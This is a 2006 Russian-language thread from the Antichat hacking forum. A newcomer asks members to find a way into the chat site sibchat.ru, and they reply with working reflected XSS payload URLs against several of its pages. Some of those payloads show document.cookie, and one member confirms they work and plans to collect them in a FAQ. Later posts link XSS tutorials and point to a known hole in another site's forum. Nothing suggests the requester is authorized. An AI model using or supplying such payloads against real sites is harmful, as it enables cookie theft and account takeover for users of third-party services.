ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Ну помогите кто-нибудь..
  #1  
Старый 22.09.2006, 08:31
Аватар для Trentemoller
Trentemoller
Новичок
Регистрация: 15.09.2006
Сообщений: 17
Провел на форуме:
14507

Репутация: -2
По умолчанию Ну помогите кто-нибудь..

Посмотрите чат http://sibchat.ru может что-нибудь можно с ним сделать...
Спасибо второй раз.
 
Ответить с цитированием

  #2  
Старый 22.09.2006, 13:49
Аватар для alextoun
alextoun
Постоянный
Регистрация: 07.05.2006
Сообщений: 732
Провел на форуме:
7910701

Репутация: 811


Отправить сообщение для alextoun с помощью ICQ
По умолчанию

была уже тема такая!! Дубляж
 
Ответить с цитированием

  #3  
Старый 22.09.2006, 19:10
Аватар для Kaban
Kaban
Участник форума
Регистрация: 19.03.2006
Сообщений: 286
Провел на форуме:
2547059

Репутация: 144
По умолчанию

пассивная XSS:
http://www.sibchat.ru/gallery.php?sid='><script>alert(/Kaban/)</script>
 
Ответить с цитированием

  #4  
Старый 22.09.2006, 20:07
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Kaban, молодец. Ксс рабочая, проверял.
http://www.sibchat.ru/gallery.php?sid='><script>alert(document.cookie)</script>
Впринципе считаю вопрос исчерпаным. Тему пока что закрывать не буду, может сам ещё найду что нибудь, или другие выложут. Но за оффтоп буду ставить минусы.
__________________
..
 
Ответить с цитированием

  #5  
Старый 23.09.2006, 03:42
Аватар для Trentemoller
Trentemoller
Новичок
Регистрация: 15.09.2006
Сообщений: 17
Провел на форуме:
14507

Репутация: -2
По умолчанию

А что можно через Xss сделать, и дайте пожалуйста ссылку, где можно подробно об Xss узнать....
Спасибо, что ответили...
 
Ответить с цитированием

  #6  
Старый 23.09.2006, 06:42
Аватар для KPOT_f!nd
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме:
3405508

Репутация: 1745


По умолчанию

Вот это почитай

http://forum.antichat.ru/thread24312-xss.html
http://forum.antichat.ru/thread20140.html
 
Ответить с цитированием

  #7  
Старый 23.09.2006, 07:02
Аватар для KPOT_f!nd
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме:
3405508

Репутация: 1745


По умолчанию

И еще
http://forum.antichat.ru/thread7083-%CD%E5%E1%EE%EB%FC%F8%EE%E9+faq+(XSS).html

http://forum.antichat.ru/thread14424-%CA%E0%EA+%E7%E0%F8%E8%F4%F0%EE%E2%E0%F2%FC+%F1%F1 %FB%EB%EA%F3.html

http://forum.antichat.ru/thread19997-%DD%ED%F6%E8%EA%EB%EE%EF%E5%E4%E8%FF+%F3%FF%E7%E2% E8%EC%FB%F5+%F1%EA%F0%E8%EF%F2%EE%E2.html

И еще по юзай гугл:
Цитата:
XSS - это
Вот так задай гуглу. И лн тебе найдет!
 
Ответить с цитированием

  #8  
Старый 23.09.2006, 09:13
Аватар для VampiRUS
VampiRUS
Участник форума
Регистрация: 31.12.2005
Сообщений: 231
Провел на форуме:
1106266

Репутация: 366
Отправить сообщение для VampiRUS с помощью Yahoo
По умолчанию

одни только xss
http://www.sibchat.ru/card_help.php?sid=%22%3E%3Cscript%3Ealert()%3C/script%3E
http://www.sibchat.ru/register.php?sid=%3C/script%3E%3Cscript%3Ealert()%3C/script%3E
 
Ответить с цитированием

  #9  
Старый 23.09.2006, 10:26
Аватар для PSalm69
PSalm69
[ радиоверсия ]
Регистрация: 12.07.2005
Сообщений: 946
Провел на форуме:
7544767

Репутация: 1060


По умолчанию

Можно отсюда http://forum.chita.ru/
Если версия форума реально 2.06 то топаем сюда http://www.securitylab.ru/vulnerability/203209.php
__________________
ICQ 9731923

 
Ответить с цитированием

  #10  
Старый 24.09.2006, 01:16
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

И ещё..
Показывает comp_id, то есть можно предположить что для бана они используют comp_id.
http://www.sibchat.ru/card_help.php?sid="><script>alert(document.cookie) </script>
-------------
Здесь то же самое:
http://www.sibchat.ru/register.php?sid="><script>alert(document.cookie)</script>
Только ещё вылазиет такая бяка:
Цитата:
&s='+document.regform.sex.value,'iconsel','no','no ','no','no'); } function changeicon( icon ) { ic = document.getElementById('user_icon'); if (ic==null) return; ic.src = 'im2/'+icon; document.regform.icon.value=icon; } function open_window(w,h,url,win_id,resizable,toolbar,locn) { sw=screen.width; sh=screen.height; x=(sw-w)/2; y=(sh-h)/2; opts='scrollbars=yes,resizable='+resizable+',toolb ar='+toolbar+',location='+locn+',directories=no,me nubar=no,width='+w+',height='+h; opts+=(navigator.appName.indexOf("Microsoft")>=0?' ,left='+x+',top='+y:',screenX='+x+',screenY='+y); win = window.open(url,win_id,opts); win.focus(); return win; }
-------------
ЗЫ Все три ксс добавлю в f.a.q. по чатам
__________________
..

Последний раз редактировалось [sL1p]; 24.09.2006 в 01:20..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
кто играет в www.ganjawars.ru ??? помогите kuppher Болталка 12 26.07.2008 23:38
ПоМоГиТе! ПЛЗ!!! farik.aka E-Mail 1 17.09.2006 13:00
Кто нибудь ломал чаты на Mpchat.ru vamik Чаты 7 13.08.2006 11:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ